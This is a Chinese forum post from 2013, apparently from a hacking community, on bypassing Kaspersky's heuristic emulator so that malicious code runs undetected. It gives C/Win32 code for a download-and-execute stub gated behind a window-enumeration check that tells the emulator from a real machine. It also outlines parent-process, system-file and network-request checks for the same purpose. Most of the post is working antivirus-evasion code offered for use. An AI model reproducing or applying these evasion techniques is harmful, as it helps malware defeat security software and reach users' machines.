本帖最后由 Evil0r 于 2013-12-31 21:00 编辑
卡巴的启发式,大概就是可在虚拟的仿真系统环境里执行程序,观察是否包含任何具危险性的恶意行为吧。
我对卡巴的虚拟机做了下测试,是最新版本的。
其实就是找它的虚拟机不能实现的东西,或者说是没有模拟出来的东西,用来与实体机区分,区分开来就可以执行恶意代码,从而躲过它的启发式扫描。
先看一段被杀的代码,经常拿来测试卡巴的。。。
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
执行它之前加一个判断
1.窗口检测法
BOOL bInVm = TRUE;
BOOL CALLBACK EnumWindowCallBack(HWND hWnd, LPARAM lParam)
{
TCHAR szBufClass[MAX_PATH] = {0};
GetClassName(hWnd,szBufClass,MAX_PATH);
TCHAR szBufTitel[MAX_PATH] = {0};
GetWindowText(hWnd,szBufTitel,MAX_PATH);
//(C:) && _tcsstr(szBufTitel,_T("(C:)"))==0
if(_tcsicmp(szBufClass,_T("CabinetWClass"))==0)
{
//证明找到打开C盘的窗口了
bInVm = FALSE;
}
return TRUE;
}
VOID TestInVmByFindWnd()
{
ShellExecute(NULL,_T("open"),_T("C:\\"),NULL,NULL,/*SW_NORMAL*/SW_HIDE);
Sleep(1000);
EnumWindows(EnumWindowCallBack,0);
}
其实就是模拟打开一个文件夹然后查找explorer浏览器的窗口,卡巴虚拟机中并没有模拟所以很轻松的判断出来了。
所以
TestInVmByFindWnd();
if(!bInVm)
{
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
}
这样,卡巴扫描就不杀了。
2.父进程法
tlhelp32函数找下自己的父进程就可以了,如果不是explorer那么证明是在卡巴虚拟机中运行的。
3.模拟打开系统文件法
createfile一个系统文件,他没有模拟所有的系统文件,所以也可以轻松判断。具体文件 自己找找吧,一大堆。
4.socket法
直接模拟get baidu.com 判断返回值,也可以区别出来是否在卡巴虚拟机环境下运行。
先列举这么多吧,希望可以转正~~~ |